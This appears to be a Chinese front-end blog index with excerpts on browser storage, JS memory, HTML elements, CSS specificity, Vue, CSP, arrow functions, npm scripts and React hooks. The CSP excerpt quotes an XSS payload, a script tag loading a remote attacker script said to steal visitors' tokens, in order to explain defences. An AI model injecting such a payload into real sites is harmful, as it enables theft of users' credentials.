浏览器的存储机制

浏览器的存储机制涵盖多种技术,目的是满足 Web 应用在不同场景下的数据持久化、缓存和离线访问需求。它们各自具有不同的存储容量、生命周期、安全策略和访问方式,理解这些机制对于构建高效、安全的前端应用至关重要。 一、浏览器存储机制分类 1. Cookie 最早期的存储机制,主要用于会话管理和身份认证。 容量限制:单个约 4KB,总数有限制; 生命周期:可设置过期时间或为会话级; 访问方式:由浏览器自动在 HTTP 请求头中携带,也能通过 JS 访问(除非设置 HttpOnly); 安全性:可设置 HttpOnly、Secure、SameSite 防范安全风险。 2. Web Storage(LocalStorage 和 SessionStorage) HTML5 新增的简单键值对存储方案。 LocalStorage:永久存储,关闭浏览器数据仍保留,同源可访问; SessionStorage:页面会话存储,关闭标签页即清空; 容量:一般为 5~10MB; 访问方式:同步 API,容易使用但可能阻塞主线程。 3. IndexedDB 浏览器内置的底层结构化数据库,支持事务和索引,适合复杂和大容量数据存储。 容量:远大于 LocalStorage,通常以设备剩余空间为限; 访问方式:异步 API,支持复杂操作; 用途:离线应用、大数据缓存、文件存储等。 4. Cache Storage 由 Service Worker 管理的请求和响应缓存,用于离线和加速访问。 容量:较大,依赖设备和浏览器策略; 访问方式:异步 Promise API; 用途:缓存静态资源、接口响应,实现离线支持。 5. Service Worker 虽然不是存储机制本身,但作为浏览器后台代理进程,管理 Cache Storage,实现网络请求拦截和缓存策略,是现代离线应用的核心。 生命周期独立于页面,可在后台运行; 控制页面的网络请求,提供离线能力和资源预缓存; 可结合 Cache Storage 和 IndexedDB 进行数据管理。 二、存储机制的生命周期与访问作用域 Cookie:基于域和路径,可设置 HttpOnly、Secure 限制访问; LocalStorage/SessionStorage:基于同源策略,SessionStorage 进一步限定于标签页会话; IndexedDB 和 Cache Storage:基于同源,支持版本控制和升级; Service Worker:独立于页面,能控制同源下的所有相关页面。 三、容量限制与性能影响 Cookie 容量最小,且会随每次请求自动发送,影响网络性能; LocalStorage/SessionStorage 适合轻量存储,容量适中; IndexedDB 和 Cache Storage 容量大,适合海量数据和文件缓存; Service Worker 通过异步调度,避免阻塞主线程。 四、安全与隐私考虑 Cookie 可被服务器访问,设置 HttpOnly 避免脚本窃取; Web Storage、IndexedDB 只能由同源脚本访问,防止跨站数据泄漏; Service Worker 需 HTTPS 环境,避免被恶意注入; 用户隐私模式下,存储行为可能受限,数据不保证持久。 五、应用场景及选择建议 需要与服务器频繁交互、会话维持时用 Cookie; 存储简单配置、少量数据用 LocalStorage; 页面会话临时数据用 SessionStorage; 大规模结构化数据和离线存储用 IndexedDB; 静态资源及请求缓存用 Cache Storage,配合 Service Worker 提升离线体验和性能; Service Worker 负责管理缓存和拦截网络请求,实现 PWA 功能。 常见考点 面试考察点通常围绕存储类型、特点、使用场景、容量限制、安全性和生命周期展开: ...

December 17, 2024

内存空间

var a = 20; var b = 'abc'; var c = true; var d = { m: 20 } 因为JavaScript具有自动垃圾回收机制,所以对于前端开发来说,内存空间并不是一个经常被提及的概念,很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后,会对内存空间的认知比较模糊,甚至有些人干脆就是一无所知。 当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时,发现由于对它们的模糊认知,导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿?比如浅复制与深复制有什么不同?还有闭包,原型等等。 因此后来我才渐渐明白,想要对JS的理解更加深刻,就必须对内存空间有一个清晰的认知。 在学习内存空间之前,我们需要对三种数据结构有一个直观的认知。他们分别是堆(heap),栈(stack)与队列(queue)。 一、栈数据结构 与C/C++不同,JavaScript中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为JavaScript的所有数据都保存在堆内存中。但是在某些场景,我们仍然需要基于堆栈数据结构的思维来实现一些功能,比如JavaScript的执行上下文(关于执行上下文我会在下一篇文章中总结)。执行上下文的执行顺序借用了栈数据结构的存取方式。(也就是后面我们会经常提到的函数调用栈)。因此理解栈数据结构的原理与特点十分重要。 要简单理解栈的存取方式,我们可以通过类比乒乓球盒子来分析。如下图左侧。 这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的乒乓球5,它一定是最后被放进去,但可以最先被使用。而我们想要使用底层的乒乓球1,就必须将上面的4个乒乓球取出来,让乒乓球1处于盒子顶层。这就是栈空间先进后出,后进先出的特点。图中已经详细的表明了栈空间的存储原理。 二、堆数据结构 堆数据结构是一种树状结构。它的存取数据的方式,则与书架与书非常相似。 书虽然也整齐的存放在书架上,但是我们只要知道书的名字,我们就可以很方便的取出我们想要的书,而不用像从乒乓球盒子里取乒乓一样,非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在JSON格式的数据中,我们存储的key-value是可以无序的,因为顺序的不同并不影响我们的使用,我们只需要关心书的名字。 三、队列 在JavaScript中,理解队列数据结构的目的主要是为了清晰的明白事件循环(Event Loop)的机制到底是怎么回事。在后续的章节中我会详细分析事件循环机制。 队列是一种先进先出(FIFO)的数据结构。正如排队过安检一样,排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。 四、变量对象与基础数据类型 JavaScript的执行上下文生成之后,会创建一个叫做变量对象的特殊对象(具体会在下一篇文章与执行上下文一起总结),JavaScript的基础数据类型往往都会保存在变量对象中。 严格意义上来说,变量对象也是存放于堆内存中,但是由于变量对象的特殊职能,我们在理解时仍然需要将其于堆内存区分开来。 基础数据类型都是一些简单的数据段,JavaScript中有5中基础数据类型,分别是Undefined、Null、Boolean、Number、String。基础数据类型都是按值访问,因为我们可以直接操作保存在变量中的实际的值。 ES6中新加了一种基础数据类型Symbol,可以先不用考虑他 五、引用数据类型与堆内存 与其他语言不同,JS的引用数据类型,比如数组Array,它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript不允许直接访问堆内存中的位置,因此我们不能直接操作对象的堆内存空间。在操作对象时,实际上是在操作对象的引用而不是实际的对象。因此,引用类型的值都是按引用访问的。这里的引用,我们可以理解为保存在变量对象中的一个地址,该地址与堆内存的实际值相关联。 为了更好的搞懂变量对象与堆内存,我们可以结合以下例子与图解进行理解。 var a1 = 0; // 变量对象 var a2 = 'this is string'; // 变量对象 var a3 = null; // 变量对象 var b = { m: 20 }; // 变量b存在于变量对象中,{m: 20} 作为对象存在于堆内存中 var c = [1, 2, 3]; // 变量c存在于变量对象中,[1, 2, 3] 作为对象存在于堆内存中 因此当我们要访问堆内存中的引用数据类型时,实际上我们首先是从变量对象中获取了该对象的地址引用(或者地址指针),然后再从堆内存中取得我们需要的数据。 理解了JS的内存空间,我们就可以借助内存空间的特性来验证一下引用类型的一些特点了。 在前端面试中我们常常会遇到这样一个类似的题目 // demo01.js var a = 20; var b = a; b = 30; // 这时a的值是多少? // demo02.js var m = { a: 10, b: 20 } var n = m; n.a = 15; // 这时m.a的值是多少 在变量对象中的数据发生复制行为时,系统会自动为新的变量分配一个新值。var b = a执行之后,a与b虽然值都等于20,但是他们其实已经是相互独立互不影响的值了。具体如图。所以我们修改了b的值以后,a的值并不会发生变化。 ...

November 6, 2024

HTML 元素分类

根据标签的功能和表现,HTML 标签主要分为以下几类: 1. 块级元素(Block-level Elements) 块级元素通常独占一行,并且可以包含其他块级元素或内联元素,能够扩展至父容器的全部宽度。 特点: 独占一行,默认情况下会在前后产生换行。 宽度默认是父元素的 100%。 可以设置 width、height、margin、padding 等布局属性。 常见的块级元素: <div>:无特定语义的容器,常用于布局。 <p>:段落标签。 <h1> 到 <h6>:标题标签,按重要性递减。 <ul>、<ol>、<li>:无序、有序列表及其项。 <header>、<footer>、<section>、<article>:HTML5 语义化标签,分别表示页头、页尾、内容区块等。 示例: <div> <h1>标题</h1> <p>这是一个段落。</p> </div> 2. 内联元素(Inline Elements) 内联元素与其他元素排列在同一行,且只占用其内容所需的宽度。它们不会独占一行,不能包含块级元素。 特点: 与相邻的内联元素排列在同一行。 仅占据自身内容的宽度,不会在前后产生换行。 不能设置 width、height(无效),但可以设置 padding 和 margin,只影响水平方向。 常见的内联元素: <span>:无特定语义的容器,常用于局部样式。 <a>:超链接。 <strong>:表示强调的文本,通常加粗显示。 <em>:表示强调的文本,通常斜体显示。 <img>:图像标签。 <input>:表单输入元素。 示例: <p>这是一个段落,<a href="#">点击这里</a> 了解更多。</p> 3. 内联块元素(Inline-block Elements) 内联块元素是同时具备内联元素和块级元素特性的元素。它们在布局上是内联的,但表现为块状元素,因此可以设置宽高。 特点: 与其他元素排列在同一行,但可设置宽度和高度。 不会自动换行。 常见的内联块元素: <img>:虽然图像显示在行内,但可以设置 width 和 height。 <button>:按钮。 <input type="text">:文本输入框。 CSS 设置为 display: inline-block 的元素。 示例: <span style="display: inline-block; width: 100px; height: 100px; background: red;"></span> 4. 自闭合元素(Self-closing Elements) 自闭合元素是没有闭合标签的元素,因为它们没有任何内容。这类标签通常用于插入内容或进行控制,而不包含其他内容。 ...

October 15, 2024

优先级

在前端面试中,经常会遇到CSS选择器的问题三连: 说一下CSS的选择器有哪些 优先级是怎样的 权重计算方式 今天就来给大家介绍选择器的优先级和权重计算方式。 优先级是什么?有什么用? 先提出一个问题:如果一个元素通过多种方式设置了字体大小,那么浏览器在最后渲染时会使用哪个属性值呢? 其实,浏览器会通过优先级来判断哪些属性值与一个元素最为相关,从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。 换种说法,优先级就是分配给指定的 CSS 声明的一个权重,它由 匹配的选择器 中的 每一种选择器类型的数值 决定。 总结一下: 权重决定了你css规则怎样被浏览器解析直到生效,css权重关系到你的css规则是怎样显示的。 当很多的样式被应用到某一个元素上时,权重决定哪种样式生效。 每个选择器都有自己的权重。你的每条css规则,都包含一个权重级别。 这个级别是由不同的选择器加权计算的,通过权重,不同的样式最终会作用到你的网页中 。 如果两个选择器同时作用到一个元素上,权重高者生效。 权重的计算规则 接着介绍权重的计算规则: 第一优先级:!important会覆盖页面内任何位置的元素样式 内联样式,如style="color: green",权值为1000 ID选择器,如#app,权值为0100 类、伪类、属性选择器,如.foo, :first-child, div[class="foo"],权值为0010 标签、伪元素选择器,如div::first-line,权值为0001 通配符、子类选择器、兄弟选择器,如*, >, +,权值为0000 继承的样式没有权值 权值计算公式: 权值 = 第一等级选择器 x 个数,第二等级选择器 x 个数,第三等级选择器 x 个数,第四等级选择器 x 个数 比如: 选择器 千位 百位 十位 个位 优先级 h1 0 0 0 1 0001 h1 + p::first-letter 0 0 0 3 0003 li > a[href*=“en-US”] > .inline-warning 0 0 2 2 0022 #identifier 0 1 0 0 0100 内联样式 1 0 0 0 1000 权重的比较规则 当两个权值进行比较的时候,是从高到低逐级将等级位上的权重值(如 权值 1,0,0,0 对应–> 第一等级权重值,第二等级权重值,第三等级权重值,第四等级权重值)来进行比较的,而不是简单的 1000个数 + 100个数 + 10个数 + 1个数 的总和来进行比较的,换句话说,低等级的选择器,个数再多也不会越等级超过高等级的选择器的优先级的。 ...

October 10, 2024

计算属性

前言 Vue 的计算属性(computed)是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑,这些逻辑会依赖于 Vue 的响应式数据,并且具有缓存机制,只有在依赖数据发生改变时才会重新计算,从而提高了性能。 计算属性的主要作用包括: 数据转换 数据过滤 响应式依赖 缓存机制 简化模板 在本篇文章中,我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑,深入了解 Vue 计算属性的精髓。 一. 认识计算属性 1. 什么是计算属性 Vue.js 中的计算属性(computed properties)是 Vue 实例中非常重要的一个特性。它们用于对 Vue 实例的数据进行动态计算,且具有缓存机制,只有在相关依赖发生改变时才会重新计算。这种特性使得计算属性非常适合用于处理模板中的逻辑。 2. 计算属性的定义 计算属性是在 Vue 实例的computed选项中定义的,可以是一个函数或具有get和set方法的对象。函数形式的计算属性会在调用时被执行,而对象形式的计算属性则可以提供自定义的get和set方法。 computed: { // 函数形式的计算属性 reversedMessage: function () { return this.message.split('').reverse().join(''); }, // 对象形式的计算属性 fullName: { get: function () { return this.firstName + ' ' + this.lastName; }, set: function (newValue) { var names = newValue.split(' '); this.firstName = names[0]; this.lastName = names[names.length - 1]; } } } 3. 计算属性的依赖 计算属性可以依赖于 Vue 实例的响应式数据。当依赖数据发生改变时,相关的计算属性会重新计算。 ...

October 4, 2024

Content Security Policy

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。 比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入 <script src="http://www.hacker.org/xss.payload.js"></script> xss.payload.js可以获取老浏览用户的信息,如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本? 所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。这就是"网页安全政策"(Content Security Policy,缩写 CSP)的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。 一、简介 CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https: 另一种是通过网页的<meta>标签。 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 上面代码中,CSP 做了如下配置。 脚本:只信任当前域名 <object>标签:不信任任何URL,即不加载任何资源 样式表:只信任cdn.example.org和third-party.org 框架(frame):必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 Chrome 的报错信息。 二、限制选项 CSP 提供了很多限制选项,涉及安全的各个方面。 2.1 资源加载限制 以下选项限制各类资源的加载。 script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 2.2 default-src default-src用来设置上面各个选项的默认值。 ...

October 2, 2024

箭头函数

一、箭头函数的特点 1. 相比普通函数,箭头函数有更加简洁的语法。 普通函数 function add(num) { return num + 10 } 箭头函数 const add = num => num + 10; 2. 箭头函数不绑定this,会捕获其所在上下文的this,作为自己的this。 这句话需要注意的是,箭头函数的外层如果有普通函数,那么箭头函数的this就是这个外层的普通函数的this,箭头函数的外层如果没有普通函数,那么箭头函数的this就是全局变量。 下面这个例子是箭头函数的外层有普通函数。 let obj = { fn:function(){ console.log('我是普通函数',this === obj) // true return ()=>{ console.log('我是箭头函数',this === obj) // true } } } console.log(obj.fn()()) 下面这个例子是箭头函数的外层没有普通函数。 let obj = { fn:()=>{ console.log(this === window); } } console.log(obj.fn()) // true 3. 箭头函数是匿名函数,不能作为构造函数,不可以使用new命令,否则后抛出错误。 ...

October 2, 2024

3D球场项目 (五)

3D球场项目 (四) 把服务端推到了线上: 导演 Agent 把每个 Point 切成 SERVE / RALLY / CONCLUSION 三段,配齐了动作、机位、 位置、比分、解说,按 seq 单调下发到客户端。本篇回到客户端,看 Cocos 这一侧拿到 Script 之后,是怎么把它变成屏幕上一拍接一拍的比赛画面的。 整个客户端改造分四层落地,本篇只讲和 3D 球场主干业务直接相关的内容: CocosEngine 层:场景加载架构升级(进度 / 传参 / Delegate1 回调 / JSBridge2 内存语义); MagicDanmaku 层:3D 球场的核心业务代码(数据流、状态机、动画 / 球轨迹 / 相机 / 观众); MagicDanmaku iOS 层:场景加载回调的演化,以及 CocosPlayer 在调用链里的角色; 业务层:腾讯体育 App 的 SwiftUI3 视图把上面三层包成一个标准组件。 每一层和业务流程脱钩的内容(性能优化、稳定性 / crash 修复、构建工程化)统一抽到了 3D球场项目 (六):客户端工程化与优化。 下面这张图先把四层的位置关系和数据流向摆出来,读者可以把它当作整篇文章的导航—— 箭头是数据流方向(服务端 Script 自顶向下灌进引擎、引擎事件自底向上回到 SwiftUI), 每个节点旁标了对应章节: ...

May 30, 2026

前端任务自动化(npm scripts实现)

在前端开发中,我们经常需要执行各种重复性任务,比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务,但npm本身提供了一个强大的功能:npm scripts。通过npm scripts,我们可以将这些任务脚本化并集中管理,从而提高开发效率。 本文将专注于如何使用npm scripts自动化前端开发任务,以及它在项目管理中的作用。 什么是npm scripts? npm scripts是npm提供的一种机制,允许我们在项目的package.json文件中定义一组命令,方便执行各种任务。在package.json文件中,scripts字段可以包含多个脚本,每个脚本都是一个键值对,其中键是脚本的名称,值是实际要执行的命令。例如: { "scripts": { "build": "webpack --config webpack.config.js", "test": "jest" } } 在上面的示例中,定义了两个脚本:build 和 test。可以通过以下方式在命令行中运行这些脚本: npm run build npm run test npm会执行对应的命令,自动帮我们完成编译和测试任务。 为什么使用npm scripts? 在现代前端开发流程中,自动化任务是不可或缺的,而npm scripts的使用有以下几大优势: 减少对全局依赖的需求:在传统项目中,开发者通常需要全局安装各种命令行工具,如webpack、eslint、babel等。而npm scripts可以直接调用项目的本地依赖,无需全局安装。这确保了不同开发环境中的工具版本一致,减少了版本冲突和兼容性问题。 集中管理任务:npm scripts将所有任务定义集中在package.json文件中,项目中的所有开发人员都可以直观地看到可用的任务列表,无需了解每个工具的详细使用方法。只需运行npm run <task>,便可一键完成常见任务。 支持跨平台执行:npm scripts中的命令可以跨平台使用,在Windows、macOS和Linux系统上表现一致,尤其适合团队协作。 便于组合和链式执行:npm允许通过逻辑操作符来组合脚本,实现复杂任务的自动化执行。例如可以通过&&和||来串联多个任务,使得多个步骤一次完成。 如何定义和使用npm scripts? 让我们通过具体的示例来看看npm scripts如何自动化前端开发任务。 1. 设置基本的开发任务 假设我们正在开发一个React项目,我们可以在package.json中定义以下基本任务: { "scripts": { "start": "webpack serve --mode development", "build": "webpack --mode production", "test": "jest", "lint": "eslint src/**/*.js" } } 这里的脚本分别执行以下任务: ...

August 7, 2025

react hooks

一 前言 React hooks是react16.8 以后,react新增的钩子API,目的是增加代码的可复用性,逻辑性,弥补无状态组件没有生命周期,没有数据管理状态state的缺陷。 本章节将介绍目前 React 提供的所有 hooks ,介绍其功能类型和基本使用方法。 1.1 技术背景 react hooks 解决了什么问题? 先设想一下,如果没有 Hooks,函数组件能够做的只是接受 Props、渲染 UI ,以及触发父组件传过来的事件。所有的处理逻辑都要在类组件中写,这样会使 class 类组件内部错综复杂,每一个类组件都有一套独特的状态,相互之间不能复用,即便是 React 之前出现过 mixin 等复用方式,但是伴随出 mixin 模式下隐式依赖,代码冲突覆盖等问题,也不能成为 React 的中流砥柱的逻辑复用方案。所以 React 放弃 mixin 这种方式。 类组件是一种面向对象思想的体现,类组件之间的状态会随着功能增强而变得越来越臃肿,代码维护成本也比较高,而且不利于后期 tree shaking。所以有必要做出一套函数组件代替类组件的方案,于是 Hooks 也就理所当然的诞生了。 所以 Hooks 出现本质上原因是: 让函数组件也能做类组件的事,有自己的状态,可以处理一些副作用,能获取 ref ,也能做数据缓存。 解决逻辑复用难的问题。 放弃面向对象编程,拥抱函数式编程。 为什么要使用自定义 Hooks ? 自定义 hooks 是在 React Hooks 基础上的一个拓展,可以根据业务需求制定满足业务需要的组合 hooks ,更注重的是逻辑单元。通过业务场景不同,到底需要React Hooks 做什么,怎么样把一段逻辑封装起来,做到复用,这是自定义 hooks 产生的初衷。 自定义 hooks 也可以说是 React Hooks 聚合产物,其内部有一个或者多个 React Hooks 组成,用于解决一些复杂逻辑。 ...

December 17, 2024